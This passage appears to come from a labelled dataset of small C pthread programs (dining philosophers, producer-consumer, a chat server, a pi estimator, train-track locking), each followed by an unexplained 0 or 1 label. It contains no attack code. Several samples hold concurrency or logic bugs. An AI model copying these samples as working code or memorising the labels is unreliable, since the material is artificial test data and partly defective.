printf("\\n------------------最短作业优先调度SJF调度算法实现结果------------------\\n"); for(int k=0; k<20; k++){ PCB[k].state = 'F'; } int i, j; int clock = 0; float waittime = 0; float total_waittime = 0; float average_waittime = 0; } int main(){ int ret1; pthread_t tid1; ret1 = pthread_create(&tid1, 0, &Create_children, 0); if(ret1==0){ printf("主线程创建成功!\\n"); sleep(20); } else{ printf("主线程创建失败!\\n"); } FCFS(); return 0; }
1
#include <pthread.h> struct udpsrvsession_l { struct udpsrvsession_s *current; struct udpsrvsession_l *next; }; struct udpsrvsession_l *udpsrvsessions = 0; struct udpsrvsession_l *udpsrvsessions_last = 0; pthread_mutex_t udpsrvsessions_mutex = PTHREAD_MUTEX_INITIALIZER; struct udpsrvsession_s *udpsrvsession_create(const struct sockaddr_in *source) { struct udpsrvsession_s *newsession = malloc(sizeof(struct udpsrvsession_s)); struct sockaddr_in *addr = malloc(sizeof(struct sockaddr_in)); addr->sin_family = source->sin_family; addr->sin_addr.s_addr = source->sin_addr.s_addr; addr->sin_port = source->sin_port; newsession->addr = addr; newsession->peer = 0; newsession->dtls_reading = 0; pthread_mutex_init(&newsession->dtls_mutex, 0); pthread_mutex_init(&newsession->bioread_mutex, 0); newsession->dtls = 0; timeout_update(&newsession->timeout); return newsession; } struct udpsrvsession_s *udpsrvsession_search(const struct sockaddr_in *source) { struct udpsrvsession_l *cursession; cursession = udpsrvsessions; while (cursession != 0) { if ((cursession->current != 0) && (source->sin_family == cursession->current->addr->sin_family) && (source->sin_port == cursession->current->addr->sin_port) && (source->sin_addr.s_addr == cursession->current->addr->sin_addr.s_addr)) return cursession->current; cursession = cursession->next; } return 0; } struct udpsrvsession_s *udpsrvsession_searchcreate(const struct sockaddr_in *source) { struct udpsrvsession_l *cursession; int local_mutex = 0; if (udpsrvsessions == 0) { pthread_mutex_lock(&udpsrvsessions_mutex); local_mutex = 1; if (udpsrvsessions != 0) { pthread_mutex_unlock(&udpsrvsessions_mutex); local_mutex = 0; } } cursession = udpsrvsessions; while (cursession != 0) { if ((cursession->current != 0) && (source->sin_family == cursession->current->addr->sin_family) && (source->sin_port == cursession->current->addr->sin_port) && (source->sin_addr.s_addr == cursession->current->addr->sin_addr.s_addr)) return cursession->current; if (cursession->next == 0) { pthread_mutex_lock(&udpsrvsessions_mutex); local_mutex = 1; if (cursession->next != 0) { pthread_mutex_unlock(&udpsrvsessions_mutex); local_mutex = 0; } else break; } cursession = cursession->next; } if (local_mutex == 0) pthread_mutex_lock(&udpsrvsessions_mutex); cursession = malloc(sizeof(struct udpsrvsession_l)); cursession->current = udpsrvsession_create(source); cursession->next = 0; if (udpsrvsessions == 0) udpsrvsessions = cursession; if (udpsrvsessions_last != 0) udpsrvsessions_last->next = cursession; udpsrvsessions_last = cursession; pthread_mutex_unlock(&udpsrvsessions_mutex); return cursession->current; } void udpsrvsession_destroy(struct udpsrvsession_s *cursession) { }
0
#include <pthread.h> unsigned int __VERIFIER_nondet_uint(); static int top=0; static unsigned int arr[(5)]; pthread_mutex_t m; _Bool flag=(0); void error(void) { ERROR: ; goto ERROR; return; } void inc_top(void) { top++; } void dec_top(void) { top--; } int get_top(void) { return top; } int stack_empty(void) { (top==0) ? (1) : (0); } int push(unsigned int *stack, int x) { if (top==(5)) { printf("stack overflow\\n"); return (-1); } else { stack[get_top()] = x; inc_top(); } return 0; } int pop(unsigned int *stack) { if (get_top()==0) { printf("stack underflow\\n"); return (-2); } else { dec_top(); return stack[get_top()]; } return 0; } void *t1(void *arg) { int i; unsigned int tmp; for(i=0; i<(5); i++) { pthread_mutex_lock(&m); tmp = 43%(5); if (push(arr,tmp)==(-1)) { printf("\\033[1;31m ERROR!!! \\033[0m\\n"); } flag=(1); pthread_mutex_unlock(&m); } } void *t2(void *arg) { int i; for(i=0; i<(5); i++) { pthread_mutex_lock(&m); if (flag) { if (!(pop(arr)!=(-2))){ printf("\\033[1;31m ERROR!!! \\033[0m\\n"); } } pthread_mutex_unlock(&m); } } int main(void) { pthread_t id1, id2; pthread_mutex_init(&m, 0); pthread_create(&id1, 0, t1, 0); pthread_create(&id2, 0, t2, 0); pthread_join(id1, 0); pthread_join(id2, 0); return 0; }
1
#include <pthread.h> int states[5]; int eaten_meal_count[5]; pthread_mutex_t m; pthread_mutex_t s[5]; pthread_t pN[5]; void grab_forks(int i); void release_forks(int i); void test(int i); void *philosopher_procedure(void* i); int main(){ int i; pthread_mutex_init(&m, 0); for (i=0; i<5; i++){ states[i]=0; pthread_mutex_init(&s[i], 0); pthread_mutex_lock(&s[i]); eaten_meal_count[i]=0; sleep(1); if (pthread_create(&pN[i], 0, philosopher_procedure, (void*) &i)!=0){ printf("Error creating thread.\\n"); return(1); } } for (i=0; i<5; i++){ pthread_join(pN[i], 0); } for (int i=0; i<5; i++){ printf("Philosopher No:%d has eaten %d times.\\n", i, eaten_meal_count[i]); pthread_mutex_destroy(&s[i]); } pthread_mutex_destroy(&m); } void grab_forks(int i){ pthread_mutex_lock(&m); states[i]=1; test(i); pthread_mutex_unlock(&m); pthread_mutex_lock(&s[i]); } void release_forks(int i){ pthread_mutex_lock(&m); states[i]=0; test(( i + 5 - 1 ) % 5); test(( i + 1 ) % 5); pthread_mutex_unlock(&m); } void test(int i){ if (states[i]==1 && states[( i + 5 - 1 ) % 5]!=2 && states[( i + 1 ) % 5]!=2){ states[i]=2; pthread_mutex_unlock(&s[i]); } } void *philosopher_procedure(void *i){ int me= *(int*) i; sleep(1); printf("Thread No:%d has arrived to the table.\\n", me); while(1){ printf("Thread No:%d is thinking.\\n", me); sleep(1); grab_forks(me); printf("Thread No:%d is eating her %d. meal.\\n", me, ++eaten_meal_count[me]); sleep(2); release_forks(me); } return (void*) 0; }
0
#include <pthread.h> int sum = 0; sem_t items; sem_t slots; pthread_mutex_t my_lock = PTHREAD_MUTEX_INITIALIZER; int producer_done = 0; void *producer(void *arg1) { int i; for(i = 1; i <= 100; i++) { sem_wait(&slots); put_item(i*i); sem_post(&items); } pthread_mutex_lock(&my_lock); producer_done = 1; pthread_mutex_unlock(&my_lock); return 0; } void *consumer(void *arg2) { int myitem; for( ; ; ) { pthread_mutex_lock(&my_lock); if(producer_done) { pthread_mutex_unlock(&my_lock); if (sem_trywait(&items)) break; } else { pthread_mutex_unlock(&my_lock); sem_wait(&items); } get_item(&myitem); sem_post(&slots); sum += myitem; } return 0; } int main(void) { pthread_t prodid; pthread_t consid; int i, total; total = 0; for(i = 1; i <= 100; i++) total += i*i; printf("the actual sum should be %d\\n", total); sem_init(&items, 0, 0); sem_init(&slots, 0, 8); if(pthread_create(&consid, 0, consumer, 0)) perror("Could not create consumer"); else if(pthread_create(&prodid, 0, producer, 0)) perror("Could not create producer"); pthread_join(prodid, 0); pthread_join(consid, 0); printf("The threads producer the sum %d\\n", sum); exit(0); }
1
#include <pthread.h> void* handle_clnt(void *arg); void send_msg(char *msg, int len); void error_handling(char *msg); int clnt_cnt = 0; int clnt_socks[256]; pthread_mutex_t mutex; int main(int argc, char *argv[]){ int serv_sock, clnt_sock; struct sockaddr_in serv_adr, clnt_adr; int clnt_adr_sz; pthread_t t_id; if(argc != 2){ printf("Usage : %s <port> \\n", argv[0]); exit(1); } pthread_mutex_init(&mutex, 0); serv_sock = socket(PF_INET, SOCK_STREAM, 0); memset(&serv_adr, 0, sizeof(serv_adr)); serv_adr.sin_family = AF_INET; serv_adr.sin_addr.s_addr = htonl(INADDR_ANY); serv_adr.sin_port = htons(atoi(argv[1])); if(bind(serv_sock, (struct sockaddr*)&serv_adr, sizeof(serv_adr)) == -1) error_handling("bind() error"); if(listen(serv_sock, 5) == -1) error_handling("listen() error"); while(1){ clnt_adr_sz = sizeof(clnt_adr); clnt_sock = accept(serv_sock, (struct sockaddr*)&clnt_adr, &clnt_adr_sz); pthread_mutex_lock(&mutex); clnt_socks[clnt_cnt++] = clnt_sock; pthread_mutex_unlock(&mutex); pthread_create(&t_id, 0, handle_clnt, (void*)&clnt_sock); pthread_detach(t_id); printf("Connected client IP : %s\\n", inet_ntoa(clnt_adr.sin_addr)); } close(serv_sock); return 0; } void* handle_clnt(void *arg){ int clnt_sock =*((int*)arg); int str_len = 0, i; char msg[100]; while((str_len=read(clnt_sock, msg, sizeof(msg))) != 0) send_msg(msg, str_len); pthread_mutex_lock(&mutex); for(i = 0; i < clnt_cnt; i++){ if(clnt_sock == clnt_socks[i]){ while(i++ < clnt_cnt-1) clnt_socks[i] = clnt_socks[i+1]; break; } } clnt_cnt--; pthread_mutex_unlock(&mutex); close(clnt_sock); return 0; } void send_msg(char *msg, int len){ int i; pthread_mutex_lock(&mutex); for(i = 0; i < clnt_cnt; i++) write(clnt_socks[i], msg, len); pthread_mutex_unlock(&mutex); } void error_handling(char *msg){ fputs(msg, stderr); fputc('\\n', stderr); exit(1); }
0
#include <pthread.h> pthread_mutex_t mutex; pthread_cond_t cond; int var = 0; void *func2() { while(var < 10) { printf("thread2 is runninig\\n"); pthread_mutex_lock(&mutex); if(var%2 != 0) pthread_cond_wait(&cond,&mutex); printf("pthread 2 var :%d\\n",var); pthread_mutex_unlock(&mutex); sleep(1); } } void *func1() { pthread_cleanup_push(pthread_mutex_unlock,&mutex); for(var = 0;var <= 10;var++) { printf("thread1 is running\\n"); pthread_mutex_lock(&mutex); if(var%2 == 0) pthread_cond_signal(&cond); else printf("pthread 1 var :%d\\n",var); pthread_mutex_unlock(&mutex); sleep(1); } pthread_cleanup_pop(0); } int main(int argc,char *argv[]) { pthread_t tid1,tid2; pthread_mutex_init(&mutex,0); pthread_cond_init(&cond,0); pthread_create(&tid1,0,func1,0); pthread_create(&tid2,0,func2,0); sleep(10); pthread_mutex_destroy(&mutex); pthread_cond_destroy(&cond); }
1
#include <pthread.h> void* IncrementCounter(void*); static int _count; static pthread_mutex_t _incrementLock = PTHREAD_MUTEX_INITIALIZER; int main() { pthread_t thr1, thr2, thr3, thr4; _count = 0; pthread_create(&thr1, 0, IncrementCounter, 0); pthread_create(&thr2, 0, IncrementCounter, 0); pthread_create(&thr3, 0, IncrementCounter, 0); pthread_create(&thr4, 0, IncrementCounter, 0); pthread_join(thr1, 0); pthread_join(thr2, 0); pthread_join(thr3, 0); pthread_join(thr4, 0); printf("%s%d\\n", "COUNT: ", _count); return 0; } void* IncrementCounter( void* m ) { int i; for (i = 0; i < 10; ++i) { pthread_mutex_lock(&_incrementLock); int tempValue = _count; sleep(1); tempValue = tempValue + 1; _count = tempValue; pthread_mutex_unlock(&_incrementLock); } return 0; }
0
#include <pthread.h>extern void __VERIFIER_error() ; static int iTThreads = 2; static int iRThreads = 1; static int data1Value = 0; static int data2Value = 0; pthread_mutex_t *data1Lock; pthread_mutex_t *data2Lock; void lock(pthread_mutex_t *); void unlock(pthread_mutex_t *); void *funcA(void *param) { pthread_mutex_lock(data1Lock); data1Value = 1; pthread_mutex_unlock(data1Lock); pthread_mutex_lock(data2Lock); data2Value = data1Value + 1; pthread_mutex_unlock(data2Lock); return 0; } void *funcB(void *param) { int t1 = -1; int t2 = -1; pthread_mutex_lock(data1Lock); if (data1Value == 0) { pthread_mutex_unlock(data1Lock); return 0; } t1 = data1Value; pthread_mutex_unlock(data1Lock); pthread_mutex_lock(data2Lock); t2 = data2Value; pthread_mutex_unlock(data2Lock); if (t2 != (t1 + 1)) { fprintf(stderr, "Bug found!\\n"); ERROR: __VERIFIER_error(); ; } return 0; } int main(int argc, char *argv[]) { int i,err; if (argc != 1) { if (argc != 3) { fprintf(stderr, "./twostage <param1> <param2>\\n"); exit(-1); } else { sscanf(argv[1], "%d", &iTThreads); sscanf(argv[2], "%d", &iRThreads); } } data1Lock = (pthread_mutex_t *) malloc(sizeof(pthread_mutex_t)); data2Lock = (pthread_mutex_t *) malloc(sizeof(pthread_mutex_t)); if (0 != (err = pthread_mutex_init(data1Lock, 0))) { fprintf(stderr, "pthread_mutex_init error: %d\\n", err); exit(-1); } if (0 != (err = pthread_mutex_init(data2Lock, 0))) { fprintf(stderr, "pthread_mutex_init error: %d\\n", err); exit(-1); } pthread_t tPool[iTThreads]; pthread_t rPool[iRThreads]; for (i = 0; i < iTThreads; i++) { if (0 != (err = pthread_create(&tPool[i], 0, &funcA, 0))) { fprintf(stderr, "Error [%d] found creating 2stage thread.\\n", err); exit(-1); } } for (i = 0; i < iRThreads; i++) { if (0 != (err = pthread_create(&rPool[i], 0, &funcB, 0))) { fprintf(stderr, "Error [%d] found creating read thread.\\n", err); exit(-1); } } for (i = 0; i < iTThreads; i++) { if (0 != (err = pthread_join(tPool[i], 0))) { fprintf(stderr, "pthread join error: %d\\n", err); exit(-1); } } for (i = 0; i < iRThreads; i++) { if (0 != (err = pthread_join(rPool[i], 0))) { fprintf(stderr, "pthread join error: %d\\n", err); exit(-1); } } return 0; } void lock(pthread_mutex_t *lock) { int err; if (0 != (err = pthread_mutex_lock(lock))) { fprintf(stderr, "Got error %d from pthread_mutex_lock.\\n", err); exit(-1); } } void unlock(pthread_mutex_t *lock) { int err; if (0 != (err = pthread_mutex_unlock(lock))) { fprintf(stderr, "Got error %d from pthread_mutex_unlock.\\n", err); exit(-1); } }
1
#include <pthread.h> struct zbtree *zbtree_init(int (*compar) (const void *, const void *)) { struct zbtree *t = calloc(1,sizeof(struct zbtree)); pthread_mutex_init(&t->mutex, 0); t->tree = 0; t->compar = compar; return t; } void *zbtree_find(struct zbtree *t, void *key, int lock) { void **retval; if (lock) zbtree_lock(t); retval = tfind(key, &t->tree, t->compar); if (lock) zbtree_unlock(t); if (retval != 0) return *retval; else return 0; } void *zbtree_search(struct zbtree *t, void *key, int lock) { void **retval; if (lock) zbtree_lock(t); retval = tsearch(key, &t->tree, t->compar); if (lock) zbtree_unlock(t); if (retval != 0) return *retval; else return 0; } void zbtree_delete(struct zbtree *t, void *key, int lock) { if (lock) zbtree_lock(t); tdelete(key, &t->tree, t->compar); if (lock) zbtree_unlock(t); } void zbtree_destroy(struct zbtree *t) { } void zbtree_lock(struct zbtree *t) { pthread_mutex_lock( &t->mutex ); } void zbtree_unlock(struct zbtree *t) { pthread_mutex_unlock( &t->mutex ); }
0
#include <pthread.h> static void send_route_update(char *input, int action) { char *cmd = &(*input); int from_msu_id, to_msu_id, runtime_sock, from_msu_type, to_msu_type, to_msu_locality; char *ip_str; long total_msg_size = 0; int to_ip = 0; int ret; debug("DEBUG: Route update *input: %s", input); debug("DEBUG: Route update cmd : %s", cmd); debug("DEBUG: Route update action: %u", action); runtime_sock = atoi(strtok(cmd, " ")); from_msu_id = atoi(strtok(0, " ")); from_msu_type = atoi(strtok(0, " ")); to_msu_id = atoi(strtok(0, " ")); to_msu_type = atoi(strtok(0, " ")); to_msu_locality = atoi(strtok(0, " ")); if (to_msu_locality == 2) { ip_str = strtok(0, "\\r\\n"); debug("ip_str :%s", ip_str); string_to_ipv4(ip_str, &to_ip); } ret = update_route(action, runtime_sock, from_msu_id, from_msu_type, to_msu_id, to_msu_type, to_msu_locality, to_ip); if (ret < 0 ) { debug("ERROR: %s", "Could not process update route request"); } } void process_stats_msg(struct msu_stats_data *stats_data, int runtime_sock) { struct msu_stats_data *stats = stats_data; struct dfg_config *dfg_config_g = 0; dfg_config_g = get_dfg(); if (dfg_config_g == 0) { debug("ERROR: %s", "could not retrieve dfg"); return; } if (stats->data_queue_size > 5) { char data[32]; memset(data, '\\0', sizeof(data)); struct dfg_vertex *new_msu = (struct dfg_vertex *) malloc (sizeof(struct dfg_vertex)); pthread_mutex_lock(dfg_config_g->dfg_mutex); struct dfg_vertex *msu = dfg_config_g->vertices[stats->msu_id - 1]; int target_runtime_sock, target_thread_id, ret; ret = find_placement(&target_runtime_sock, &target_thread_id); if (ret == -1) { debug("ERROR: %s", "could not find runtime or thread to place new clone"); return; } create_worker_thread(target_runtime_sock); sleep(2); memcpy(new_msu, msu, sizeof(*msu)); new_msu->msu_id = dfg_config_g->vertex_cnt + 1; new_msu->thread_id = target_thread_id; new_msu->num_dst = 0; new_msu->num_src = 0; int r; for (r = 0; r < msu->num_dst; r++) { new_msu->msu_dst_list[r] = 0; } for (r = 0; r < msu->num_src; r++) { new_msu->msu_src_list[r] = 0; } pthread_mutex_unlock(dfg_config_g->dfg_mutex); snprintf(data, strlen(new_msu->msu_mode) + 1 + how_many_digits(new_msu->thread_id) + 1, "%s %d", new_msu->msu_mode, new_msu->thread_id); add_msu(&data, new_msu, target_runtime_sock); int action; action = MSU_ROUTE_ADD; debug("DEBUG: %s", "updating routes for newly cloned msu"); struct dedos_control_msg update_route_downstream; char cmd[128]; int len, base_len; int locality = 1; base_len = 1 + 5; base_len = base_len + how_many_digits(new_msu->msu_id); base_len = base_len + how_many_digits(new_msu->msu_type); int dst; for (dst = 0; dst < msu->num_dst; dst++) { memset(cmd, '\\0', sizeof(cmd)); len = base_len; len = len + how_many_digits(new_msu->msu_runtime->sock); len = len + how_many_digits(msu->msu_dst_list[dst]->msu_id); len = len + how_many_digits(msu->msu_dst_list[dst]->msu_type); len = len + how_many_digits(locality); snprintf(cmd, len, "%d %d %d %d %d %d", new_msu->msu_runtime->sock, new_msu->msu_id, new_msu->msu_type, msu->msu_dst_list[dst]->msu_id, msu->msu_dst_list[dst]->msu_type, locality); sleep(2); send_route_update(cmd, action); } int src; for (src = 0; src < msu->num_src; src++) { memset(cmd, '\\0', sizeof(cmd)); len = base_len; len = len + how_many_digits(msu->msu_src_list[src]->msu_runtime->sock); len = len + how_many_digits(msu->msu_src_list[src]->msu_id); len = len + how_many_digits(msu->msu_src_list[src]->msu_type); len = len + how_many_digits(locality); snprintf(cmd, len, "%d %d %d %d %d %d", msu->msu_src_list[src]->msu_runtime->sock, msu->msu_src_list[src]->msu_id, msu->msu_src_list[src]->msu_type, new_msu->msu_id, new_msu->msu_type, locality); sleep(2); send_route_update(cmd, action); } } }
1
#include <pthread.h> pthread_mutex_t mutex; pthread_t tid; int count_hit=0; int thread(){ pthread_mutex_lock(&mutex); printf("And now we're in pthread!\\n"); count_hit++; sleep(3); pthread_mutex_unlock(&mutex); while(1){ pthread_mutex_lock(&mutex); if(count_hit==2){ printf("And now we're in pthread again, we will terminate current pthread after this message\\n"); count_hit++; pthread_mutex_unlock(&mutex); break; } pthread_mutex_unlock(&mutex); sleep(1); } pthread_exit(0); return 0; } int main(int argc, char **argv){ int ret; if((ret = pthread_mutex_init(&mutex, 0)) != 0){ printf("Error in mutex creating\\n"); return 1; } pthread_mutex_lock(&mutex); if((ret = pthread_create(&tid, 0, (void*)thread, 0)) != 0){ printf("Error in thread creating"); return 1; } printf("Now we are still in main\\n"); sleep(3); printf("And now\\n"); sleep(3); printf("But now we unlock mutex, and...\\n"); sleep(3); pthread_mutex_unlock(&mutex); while(1){ pthread_mutex_lock(&mutex); if(count_hit==1){ printf("And now we're in main AFTER we was in pthread!\\n"); count_hit++; }else if(count_hit==3){ printf("It is the end of program\\n"); sleep(3); pthread_mutex_unlock(&mutex); break; } pthread_mutex_unlock(&mutex); sleep(1); } pthread_join(tid, 0); pthread_exit(0); return 0; }
0
#include <pthread.h> long long int number_in_circle = 0; long long int number_of_tosses_per_thread = -1; int thread_count = -1; pthread_mutex_t mut; int get_max_threads() { int max_string_size = 10; FILE *fp; char* ret; int max = -1; char str[max_string_size]; fp = fopen("/proc/sys/kernel/threads-max","r"); if(0 == fp) { printf("error opening file thread max\\n"); } else { ret = fgets(str, max_string_size, fp); if (0 == ret) { printf("file read error\\n"); } else { max = atoi(str); } } int retu = fclose(fp); if (0!=retu) { printf("file close error\\n"); } return max; } double grabRand() { double div = 32767 / 2; return -1 + (rand() / div); } void *monty(void* _) { double distance_squared,x,y; long long int toss; long long int mycircleCount =0; for (toss = 0; toss < number_of_tosses_per_thread; toss++) { x = grabRand(); y = grabRand(); distance_squared = x*x + y*y; if (distance_squared <= 1) { mycircleCount++; } } pthread_mutex_lock(&mut); number_in_circle+=mycircleCount; pthread_mutex_unlock(&mut); return 0; } int main(int argc, char *argv[]) { int i, ret; int max_threads; int thread_count; double number_of_tosses; double pi_estimate; pthread_t* threads; srand(time(0)); if (3 != argc) { printf("I want 2 positional arguments : thread count & tosses per thread\\n"); return 1; } max_threads = get_max_threads(); if(1 > max_threads) { printf("Are you on a posix complicant system?\\n"); return 2; } thread_count = atoi(argv[1]); if(1 > thread_count || thread_count>max_threads) { printf("Must supply an integer thread count between 1 and your system's max inclusivly\\n"); return 3; } number_of_tosses_per_thread = atoll(argv[2]); if(1 > number_of_tosses_per_thread || number_of_tosses_per_thread>pow(10,52)) { printf("Supply a toss_per_thread between 1 and a Sexdecillion inclusivly\\n"); return 4; } number_of_tosses_per_thread = number_of_tosses_per_thread/thread_count; if(0!=pthread_mutex_init(&mut, 0)) { printf("mutex creation fail\\n"); return 5; } threads = malloc(thread_count * sizeof(pthread_t)); if (0 == threads) { printf("pthread malloc failure\\n"); return 6; } for(i=0;i<thread_count;i++) { ret = pthread_create(&threads[i], 0, monty, 0); if(0!=ret) { printf("thread creation fail\\n"); return 7; } } for(i=0;i<thread_count;i++) { ret = pthread_join(threads[i],0); if(0!=ret) { printf("thread join fail\\n"); return 8; } } ret = pthread_mutex_destroy(&mut); if(0!=ret) { printf("mutex destroy fail\\n"); return 9; } free(threads); printf("Total tosses : %llu\\n",thread_count*number_of_tosses_per_thread); number_of_tosses = thread_count*number_of_tosses_per_thread; pi_estimate = 4*number_in_circle/number_of_tosses; printf("Your estimation of PI : \\t%.15f \\n",pi_estimate); printf("math.h's macro for PI: \\t%.15f\\n", M_PI); return 0; }
1
#include <pthread.h> pthread_mutex_t mutexAB = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t mutexBC = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t mutexCD = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t mutexCE = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t mutexBF = PTHREAD_MUTEX_INITIALIZER; void* trainAD(void *arg); void* trainFA(void *arg); void* trainEB(void *arg); int main(int argc, char *argv[]) { pthread_t MR1, MR2, MR3; if (pthread_create(&MR1, 0, trainAD, 0)) { perror("pthread_create MR1"); return -1; } if (pthread_create(&MR2, 0, trainFA, 0)) { perror("pthread_create MR2"); return -1; } if (pthread_create(&MR3, 0, trainEB, 0)) { perror("pthread_create MR3"); return -1; } pthread_join(MR1, 0); pthread_join(MR2, 0); pthread_join(MR3, 0); return 0; } void useSegment(int from, int to) { if (((from == 0) && (to == 1)) || ((from == 1) && (to == 0))) { pthread_mutex_lock(&mutexAB); } if (((from == 1) && (to == 2)) || ((from == 2) && (to == 1))) { pthread_mutex_lock(&mutexBC); } if (((from == 2) && (to == 3)) || ((from == 3) && (to == 2))) { pthread_mutex_lock(&mutexCD); } if (((from == 1) && (to == 5)) || ((from == 5) && (to == 1))) { pthread_mutex_lock(&mutexBF); } if (((from == 2) && (to == 4)) || ((from == 4) && (to == 2))) { pthread_mutex_lock(&mutexCE); } } void freeSegment(int from, int to) { if (((from == 0) && (to == 1)) || ((from == 1) && (to == 0))) { pthread_mutex_unlock(&mutexAB); } if (((from == 1) && (to == 2)) || ((from == 2) && (to == 1))) { pthread_mutex_unlock(&mutexBC); } if (((from == 2) && (to == 3)) || ((from == 3) && (to == 2))) { pthread_mutex_unlock(&mutexCD); } if (((from == 1) && (to == 5)) || ((from == 5) && (to == 1))) { pthread_mutex_unlock(&mutexBF); } if (((from == 2) && (to == 4)) || ((from == 4) && (to == 2))) { pthread_mutex_unlock(&mutexCE); } } void* trainAD(void *arg) { while(1) { useSegment(0,1); printf("Train X ID = %d occupies AB\\n", (int)pthread_self()); usleep(6000000); freeSegment(0,1); printf("Train X ID = %d left AB\\n", (int)pthread_self()); useSegment(1,2); printf("Train X ID = %d occupies BC\\n", (int)pthread_self()); usleep(6000000); freeSegment(1,2); printf("Train X ID = %d left BC\\n", (int)pthread_self()); useSegment(2,3); printf("Train X ID = %d occupies CD\\n", (int)pthread_self()); usleep(6000000); freeSegment(2,3); printf("Train X ID = %d left CD [FINISHED]\\n", (int)pthread_self()); break; } } void* trainFA(void *arg) { while(1) { useSegment(5,1); printf("Train Y ID = %d occupies FB\\n", (int)pthread_self()); usleep(6000000); freeSegment(5,1); printf("Train Y ID = %d left FB\\n", (int)pthread_self()); useSegment(1,0); printf("Train Y ID = %d occupies AB\\n", (int)pthread_self()); usleep(6000000); freeSegment(1,0); printf("Train Y ID = %d left AB [FINISHED]\\n", (int)pthread_self()); break; } } void* trainEB(void *arg) { while(1) { useSegment(4,2); printf("Train Z ID = %d occupies EC\\n", (int)pthread_self()); usleep(6000000); freeSegment(4,2); printf("Train Z ID = %d left EC\\n", (int)pthread_self()); useSegment(2,1); printf("Train Z ID = %d occupies CB\\n", (int)pthread_self()); usleep(6000000); freeSegment(2,1); printf("Train Z ID = %d left CB [FINISHED]\\n", (int)pthread_self()); break; } }
0
#include <pthread.h> int count = 0; int thread_ids[3] = {0, 1, 2}; pthread_mutex_t count_mutex; pthread_cond_t count_threshold_cv; void *inc_count(void *t) { int i; long my_id = (long)t; for (i = 0; i < 10; i++) { pthread_mutex_lock(&count_mutex); count++; if (count == 12) { pthread_cond_signal(&count_threshold_cv); printf("inc_count(): thread %ld, count = %d Threshold reached.\\n", my_id, count); } printf("inc_count(): thread %ld, count = %d, unlocking mutex\\n", my_id, count); pthread_mutex_unlock(&count_mutex); sleep(1); } pthread_exit(0); } void *watch_count(void *t) { long my_id = (long)t; printf("Starting watch_count(): thread %ld\\n", my_id); pthread_mutex_lock(&count_mutex); while (count < 12) { pthread_cond_wait(&count_threshold_cv, &count_mutex); printf("watch_count(): thread %ld Condition signal received.\\n", my_id); count += 125; printf("watch_count(): thread %ld count now = %d.\\n", my_id, count); } pthread_mutex_unlock(&count_mutex); pthread_exit(0); } int main(int argc, char *argv[]) { int i, rc; long t1 = 1, t2 = 2, t3 = 3; pthread_t threads[3]; pthread_attr_t attr; pthread_mutex_init(&count_mutex, 0); pthread_cond_init(&count_threshold_cv, 0); pthread_attr_init(&attr); pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE); pthread_create(&threads[0], &attr, watch_count, (void*)t1); pthread_create(&threads[1], &attr, inc_count, (void*)t2); pthread_create(&threads[2], &attr, inc_count, (void*)t3); for (i = 0; i < 3; i++) { pthread_join(threads[i], 0); } printf("Main(): Waited on %d threads. Done.\\n", 3); pthread_attr_destroy(&attr); pthread_mutex_destroy(&count_mutex); pthread_cond_destroy(&count_threshold_cv); pthread_exit(0); }
1
#include <pthread.h> int quitflag; sigset_t mask; pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t waitloc = PTHREAD_COND_INITIALIZER; void* thr_fn(void* arg) { int err, signo; for (;;) { err = sigwait(&mask, &signo); if (err != 0) { perror("sigwait:"); return (void*)-1; } switch(signo) { case SIGINT: printf("\\ninterrupt\\n"); break; case SIGQUIT: pthread_mutex_lock(&lock); quitflag = 1; pthread_mutex_unlock(&lock); pthread_cond_signal(&waitloc); return 0; default: printf("unexpected signal %d\\n", signo); exit(1); } } } int main(int argc, char *argv[]) { int err; sigset_t oldmask; pthread_t tid; sigemptyset(&mask); sigaddset(&mask, SIGINT); sigaddset(&mask, SIGQUIT); if ((err = pthread_sigmask(SIG_BLOCK, &mask, &oldmask)) != 0) { perror("pthread_sigmask:"); return -1; } err = pthread_create(&tid, 0, thr_fn, 0); if (err != 0) { perror("pthread_create:"); return -1; } pthread_mutex_lock(&lock); while (quitflag == 0) { pthread_cond_wait(&waitloc, &lock); } pthread_mutex_unlock(&lock); quitflag = 0; if (sigprocmask(SIG_SETMASK, &oldmask, 0) < 0) { perror("sigprocmask:"); return -1; } return 0; }
0
#include <pthread.h> static struct PWM_Shared_Mem *PWM_ptr; void PWM_CreateSharedMemory( void ) { key_t key; int shmid; int fd; fd = open(PWM_KEY_FILE, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO); close(fd); key = ftok(PWM_KEY_FILE, PWM_MEM_KEY); if (key == -1) { syslog(LOG_EMERG, "ftok() failed"); perror("ftok() failed"); exit(1); } if ((shmid = shmget(key, PWM_CON_SHM_SIZE, 0777 | IPC_CREAT)) == -1) { syslog(LOG_EMERG, "shmget()"); perror("shmget() - failed"); exit(1); } PWM_ptr = shmat(shmid, (void *)0, 0); if ((char *)PWM_ptr == (char *)(-1)) { syslog(LOG_EMERG, "shmat()"); perror("shmat() - failed"); exit(1); } memset(PWM_ptr, 0, sizeof(struct PWM_Shared_Mem)); pthread_mutex_init(&PWM_ptr->access, 0); PWM_ptr->pid = getpid(); PWM_ptr->ver_major = VER_MAJOR; PWM_ptr->ver_minor = VER_MINOR; } void PWM_ClearSharedMemory(void) { PWM_ptr->data_ready = 0; PWM_ptr->port_connected = 0; PWM_ptr->voltage = 0; PWM_ptr->current = 0; PWM_ptr->temperature = 0; PWM_ptr->firmware[0] = 0; if (shmdt(PWM_ptr) == -1) syslog(LOG_EMERG, "shmdt()"); } void PWM_SetConnected(void) { PWM_ptr->port_connected = 1; } void PWM_SetDisconnected(void) { PWM_ptr->port_connected = 0; } static const char Get_Time[] = "time\\r\\n"; int PWM_SetStartup(int fd, int update) { char cmd[100]; sprintf(cmd, "update: temp %d\\r\\nupdate: volt %d\\r\\nupdate: current %d\\r\\n", update, update, update); return write (fd, cmd, strlen(cmd)); } static const char Restart_Cmd[] = "restart\\r\\n"; int PWM_Send_Restart(int fd) { return write(fd, Restart_Cmd, strlen(Restart_Cmd)); } static int Check_PWM(int duty) { if ( duty > 100 ) return 100; if ( duty < 0 ) return 0; return duty; } int PWM_Send_ChanelData(int fd) { int i; int newDuty; char cmd[32], msg[32*PWM_NUM_CHANELS]; msg[0] = 0; pthread_mutex_lock( &PWM_ptr->access ); for 